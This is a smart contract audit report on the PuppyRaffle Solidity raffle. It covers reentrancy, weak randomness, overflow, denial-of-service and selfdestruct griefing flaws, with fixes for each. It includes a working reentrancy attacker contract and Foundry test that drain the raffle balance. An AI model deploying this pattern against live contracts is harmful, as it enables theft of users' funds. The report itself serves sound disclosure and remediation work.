PuppyRaffle Audit Report

Version 1.0

SulfurPT

March 7, 2025

PuppyRaffle Audit Report

SulfurPT

March 07, 2025

Document Version Control

Report	
Version	1.0
State	Final
Date	07/03/2025
Auditors	SulfurPT
Approved by	SulfurPT

Version	Date	Description	Pages
1.0	07/03/2025	Document Creation	All

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:

   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.

2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

I, SulfurPT, make all effort to find as many vulnerabilities in the code in the given time period, but hold no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

- Commit Hash: 22bbbb2c47f3f2b78c1b134590baf41383fd354f

Scope

```
1  ./src/
2  #-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

This report presents the findings from the security audit conducted by SulfurPT on the PuppyRaffle smart contract. The primary objective of the audit was to assess the security, reliability, and efficiency of the contract's implementation. The audit follows industry best practices and security methodologies to identify potential vulnerabilities that could compromise the integrity and confidentiality of user data.

Issues found

Severaty	Number of issues found
High	3
Medium	4
Low	1
info	7
Gas	2
Total	17

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that call do we update the `PuppyRaffle::players` array.

```
 1  function refund(uint256 playerIndex) public {
 2      address playerAddress = players[playerIndex];
 3      require(playerAddress == msg.sender, "PuppyRaffle: Only the player
            can refund");
 4      require(playerAddress != address(0), "PuppyRaffle: Player already
            refunded, or is not active");
 5
 6 ->   payable(msg.sender).sendValue(entranceFee);
 7 ->   players[playerIndex] = address(0);
 8
 9      emit RaffleRefunded(playerAddress);
10  }
```

Impact: All fees paid by raffle entrants could be stolen by a malicious participant.

Proof of Concept:

1. User enters the raffle
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle

4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the PuppyRaffle balance.

PoC

Add the following to `PuppyRaffle.t.sol`

```
1  contract ReentrancyAttacker {
2      PuppyRaffle puppyRaffle;
3      uint256 entranceFee;
4      uint256 attackerIndex;
5
6      constructor(PuppyRaffle _puppyRaffle) {
7          puppyRaffle = _puppyRaffle;
8          entranceFee = puppyRaffle.entranceFee();
9      }
10
11     function attack() public payable {
12         address[] memory players = new address[](1);
13         players[0] = address(this);
14         puppyRaffle.enterRaffle{value: entranceFee}(players);
15         attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
16         puppyRaffle.refund(attackerIndex);
17     }
18
19     function _stealMoney() internal {
20         if (address(puppyRaffle).balance >= entranceFee) {
21             puppyRaffle.refund(attackerIndex);
22         }
23     }
24
25     fallback() external payable {
26         _stealMoney();
27     }
28
29     receive() external payable {
30         _stealMoney();
31     }
32 }
33
34 // test to confirm vulnerability
35 function testCanGetRefundReentrancy() public {
36     address[] memory players = new address[](4);
37     players[0] = playerOne;
38     players[1] = playerTwo;
39     players[2] = playerThree;
40     players[3] = playerFour;
41     puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
42
43     ReentrancyAttacker attackerContract = new ReentrancyAttacker(
```

```
44        puppyRaffle);
45        address attacker = makeAddr("attacker");
          vm.deal(attacker, 1 ether);
46
47        uint256 startingAttackContractBalance = address(attackerContract).
              balance;
48        uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;
49
50        // attack
51
52        vm.prank(attacker);
53        attackerContract.attack{value: entranceFee}();
54
55        // impact
56        console.log("attackerContract balance: ",
              startingAttackContractBalance);
57        console.log("puppyRaffle balance: ", startingPuppyRaffleBalance);
58        console.log("ending attackerContract balance: ", address(
              attackerContract).balance);
59        console.log("ending puppyRaffle balance: ", address(puppyRaffle).
              balance);
60    }
```

Recommendation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally we should move the event emission up as well.

```
1   function refund(uint256 playerIndex) public {
2     address playerAddress = players[playerIndex];
3     require(playerAddress == msg.sender, "PuppyRaffle: Only the player
          can refund");
4     require(playerAddress != address(0), "PuppyRaffle: Player already
          refunded, or is not active");
5  +  players[playerIndex] = address(0);
6  +    emit RaffleRefunded(playerAddress);
7     payable(msg.sender).sendValue(entranceFees);
8  -  players[playerIndex] = address(0);
9  -  emit RaffleRefunded(playerAddress);
10     }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner

Description: Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Any user can choose the winner of the raffle, winning the money and selecting the "rarest"

puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy.

Proof of Concept:

There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. See the solidity blog on prevrando here. `block.difficulty` was recently replaced with `prevrandao`.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
1    uint64 myVar = type(uint64).max
2    // 18446744073709551615
3    myVar = myVar + 1
4    // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract

Proof of Concept:

Integer Overflow PoC

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
1  totalFees = totalFees + uint64(fee);
2  // substituted
3  totalFees = 800000000000000000 + 17800000000000000000;
4  // due to overflow, the following is now the case
5  totalFees = 153255926290448384;
```

4. You will not be able to withdraw due to the line in `PuppyRaffle::withdrawFees`:

```
1  require(address(this).balance ==
2    uint256(totalFees), "PuppyRaffle: There are currently players active!
       ");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended desing of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
1  function testTotalFeesOverflow() public playersEntered {
2      // We finish a raffle of 4 to collect some fees
3      vm.warp(block.timestamp + duration + 1);
4      vm.roll(block.number + 1);
5      puppyRaffle.selectWinner();
6      uint256 startingTotalFees = puppyRaffle.totalFees();
7      // startingTotalFees = 800000000000000000
8
9      // We then have 89 players enter a new raffle
10     uint256 playersNum = 89;
11     address[] memory players = new address[](playersNum);
12     for (uint256 i = 0; i < playersNum; i++) {
13         players[i] = address(i);
14     }
15     puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
16     // We end the raffle
17     vm.warp(block.timestamp + duration + 1);
18     vm.roll(block.number + 1);
19
20     // And here is where the issue occurs
21     // We will now have fewer fees even though we just finished a
          second raffle
22     puppyRaffle.selectWinner();
23
24     uint256 endingTotalFees = puppyRaffle.totalFees();
25     console.log("ending total fees", endingTotalFees);
26     assert(endingTotalFees < startingTotalFees);
27
28     // We are also unable to withdraw any fees because of the require
          check
29     vm.prank(puppyRaffle.feeAddress());
30     vm.expectRevert("PuppyRaffle: There are currently players active!")
          ;
31     puppyRaffle.withdrawFees();
32  }
```

Recommended Mitigation:

There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default. `diff - pragma solidity ^0.7.6; + pragma solidity ^0.8.18;` Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`. `diff - uint64 public totalFees = 0; + uint256 public totalFees = 0;`

3. Remove the balance check in `PuppyRaffle::withdrawFees diff - require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");` We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

Medium

[M-1] Denial of Service on `PuppyRaffle::enterRaffle`, as the looping through array to check for duplicates will increment gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle:players` array is, the more checks a new player will have to make. This means the gas costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array is an additional check the loop will have to make.

```
1  -> for(uint256 i = 0; i < players.length -1; i++){
2       for(uint256 j = i+1; j< players.length; j++){
3         require(players[i] != players[j],"PuppyRaffle: Duplicate Player");
4     }
5  }
```

Impact: The gas consts for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in queue.

An attacker might make the `PuppyRaffle:entrants` array so big that no one else enters, guaranteeing themselves the win.

Proof of Concept: We can see on the first 10 players, that the gas fee is growing rapidly as such:

gas spend by player 0 is 59526 gas spend by player 1 is 34284 gas spend by player 2 is 36276 gas spend by player 3 is 39103 gas spend by player 4 is 42762 gas spend by player 5 is 47256 gas spend by player 6 is 52585 gas spend by player 7 is 58746 gas spend by player 8 is 65743 gas spend by player 9 is 73572

This can be checked with the following test (additional users can be added):

PoC

```
1    function testGasFeePerPlayer() public {
2        address[] memory players = new address[](10);
3        address[] memory singlePlayer = new address[](1);
4        players[0] = playerOne;
5        players[1] = playerTwo;
6        players[2] = playerThree;
7        players[3] = playerFour;
8        players[4] = address(5);
9        players[5] = address(6);
10       players[6] = address(7);
11       players[7] = address(8);
12       players[8] = address(9);
13       players[9] = address(10);
14
15       for (uint256 i = 0; i < players.length; i++) {
16           singlePlayer[0] = players[i];
17           vm.deal(players[i], entranceFee);
18
19           vm.startPrank(players[i]);
20           uint256 gasBefore = gasleft();
21
22           puppyRaffle.enterRaffle{value: entranceFee}(singlePlayer);
23
24           uint256 gasUsed = gasBefore - gasleft();
25           vm.stopPrank();
26           console2.log("gas spend by player", i, "is", gasUsed);
27       }
28   }
```

Recommended Mitigation: 1. Consider allowing duplicates. Users can make new wallet addresses anyways, so a duplicate check doesn't prevent the same person from entering multiple times, only the same wallet address. 2. Consider using a mapping to check duplicates. This would allow you to check for duplicates in constant time, rather than linear time. You could have each raffle have a uint256 id, and the mapping would be a player address mapped to the raffle Id.

```
1  +    mapping(address => uint256) public addressToRaffleId;
2  +    uint256 public raffleId = 0;
3       .
4       .
5       .
6     function enterRaffle(address[] memory newPlayers) public payable {
7         require(msg.value == entranceFee * newPlayers.length, "
             PuppyRaffle: Must send enough to enter raffle");
8         for (uint256 i = 0; i < newPlayers.length; i++) {
9             players.push(newPlayers[i]);
10 +           addressToRaffleId[newPlayers[i]] = raffleId;
11        }
12
```

```
13  -          // Check for duplicates
14  +          // Check for duplicates only from the new players
15  +          for (uint256 i = 0; i < newPlayers.length; i++) {
16  +              require(addressToRaffleId[newPlayers[i]] != raffleId, "
        PuppyRaffle: Duplicate player");
17  +          }
18  -           for (uint256 i = 0; i < players.length; i++) {
19  -               for (uint256 j = i + 1; j < players.length; j++) {
20  -                   require(players[i] != players[j], "PuppyRaffle:
        Duplicate player");
21  -               }
22  -           }
23             emit RaffleEnter(newPlayers);
24         }
25  .
26  .
27  .
28      function selectWinner() external {
29  +         raffleId = raffleId + 1;
30             require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
```

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
1      function withdrawFees() external {
2  ->      require(address(this).balance == uint256(totalFees), "
      PuppyRaffle: There are currently players active!");
3         uint256 feesToWithdraw = totalFees;
4         totalFees = 0;
5         (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6         require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`

3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```
1      function withdrawFees() external {
2  -        require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
3          uint256 feesToWithdraw = totalFees;
4          totalFees = 0;
5          (bool success,) = feeAddress.call{value: feesToWithdraw}("");
6          require(success, "PuppyRaffle: Failed to withdraw fees");
7      }
```

[M-3] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1      function selectWinner() external {
2          require(block.timestamp >= raffleStartTime + raffleDuration, "
             PuppyRaffle: Raffle not over");
3          require(players.length > 0, "PuppyRaffle: No players in raffle"
             );
4
5          uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
             sender, block.timestamp, block.difficulty))) % players.
             length;
6          address winner = players[winnerIndex];
7          uint256 fee = totalFees / 10;
8          uint256 winnings = address(this).balance - fee;
9  ->      totalFees = totalFees + uint64(fee);
10         players = new address[](0);
11         emit RaffleWinner(winner, winnings);
12     }
```

The max value of a `uint64` is 18446744073709551615. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits

3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
1  uint256 max = type(uint64).max
2  uint256 fee = max + 1
3  uint64(fee)
4  // prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
1  // We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
1  -    uint64 public totalFees = 0;
2  +    uint256 public totalFees = 0;
3  .
4  .
5  .
6      function selectWinner() external {
7          require(block.timestamp >= raffleStartTime + raffleDuration, "
              PuppyRaffle: Raffle not over");
8          require(players.length >= 4, "PuppyRaffle: Need at least 4
              players");
9          uint256 winnerIndex =
10             uint256(keccak256(abi.encodePacked(msg.sender, block.
                 timestamp, block.difficulty))) % players.length;
11         address winner = players[winnerIndex];
12         uint256 totalAmountCollected = players.length * entranceFee;
13         uint256 prizePool = (totalAmountCollected * 80) / 100;
14         uint256 fee = (totalAmountCollected * 20) / 100;
15  -        totalFees = totalFees + uint64(fee);
16  +        totalFees = totalFees + fee;
```

[M-4] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very

difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owners on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and players at index 0 causing players to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec it will also return zero if the player is NOT in the array.

```
1    function getActivePlayerIndex(address player) external view returns
         (uint256) {
2        for (uint256 i = 0; i < players.length; i++) {
3            if (players[i] == player) {
4                return i;
5            }
6        }
7        return 0;
8    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommendations: The easiest recommendation would be to revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but an even better solution might be to return an `int256` where the function returns -1 if the player is not active.

Informational

[I-1] Solidity pragma should be specific, not wide

Description: Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;` use `pragma solidity 0.8.0;`

[I-2] Using an Outdated Version of Solidity is Not Recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. Recommendation

Recommendations:

Deploy with any of the following Solidity versions:

```
1  0.8.18
```

The recommendations take into account:

```
1  Risks related to recent releases
2  Risks of complex code generation changes
3  Risks of new language features
4  Risks of known bugs
```

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 69

    ```
    1          feeAddress = _feeAddress;
    ```

- Found in src/PuppyRaffle.sol Line: 159

    ```
    1          previousWinner = winner;
    ```

- Found in src/PuppyRaffle.sol Line: 182

    ```
    1          feeAddress = newFeeAddress;
    ```

[I-4] does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
1  -    (bool success,) = winner.call{value: prizePool}("");
2  -    require(success, "PuppyRaffle: Failed to send prize pool to winner"
        );
3          _safeMint(winner, tokenId);
4  +    (bool success,) = winner.call{value: prizePool}("");
5  +    require(success, "PuppyRaffle: Failed to send prize pool to winner"
        );
```

[I-5] Use of "magic" numbers is discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers are given a name.

Examples:

```
1      uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2      uint256 public constant FEE_PERCENTAGE = 20;
3      uint256 public constant POOL_PRECISION = 100;
4
5      uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)
          / POOL_PRECISION;
6      uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
          POOL_PRECISION;
```

[I-6] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

```
1  | File                               | % Lines        | % Statements
      | % Branches     | % Funcs        |
2  | -------------------------------- | ------------- | --------------
      | ------------- | ------------- |
3  | script/DeployPuppyRaffle.sol       | 0.00% (0/3)    | 0.00% (0/4)
      | 100.00% (0/0)  | 0.00% (0/1)    |
4  | src/PuppyRaffle.sol                | 82.46% (47/57) | 83.75% (67/80)
      | 66.67% (20/30) | 77.78% (7/9)   |
5  | test/auditTests/ProofOfCodes.t.sol | 100.00% (7/7)  | 100.00% (8/8)
      | 50.00% (1/2)   | 100.00% (2/2)  |
6  | Total                              | 80.60% (54/67) | 81.52% (75/92)
      | 65.62% (21/32) | 75.00% (9/12)  |
```

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.

[I-7] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from storage is much more expensive than reading a constant or immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be `immutable`
- `PuppyRaffle::commonImageUri` should be `constant`
- `PuppyRaffle::rareImageUri` should be `constant`
- `PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage Variables in a Loop Should be Cached

Everytime you call `players.length` you read from storage, as opposed to memory which is more gas efficient.

```
1 + uint256 playersLength = players.length;
2 - for (uint256 i = 0; i < players.length - 1; i++) {
3 + for (uint256 i = 0; i < playersLength - 1; i++) {
4 -     for (uint256 j = i + 1; j < players.length; j++) {
5 +     for (uint256 j = i + 1; j < playersLength; j++) {
6         require(players[i] != players[j], "PuppyRaffle: Duplicate player"
          );
7 }
8 }
```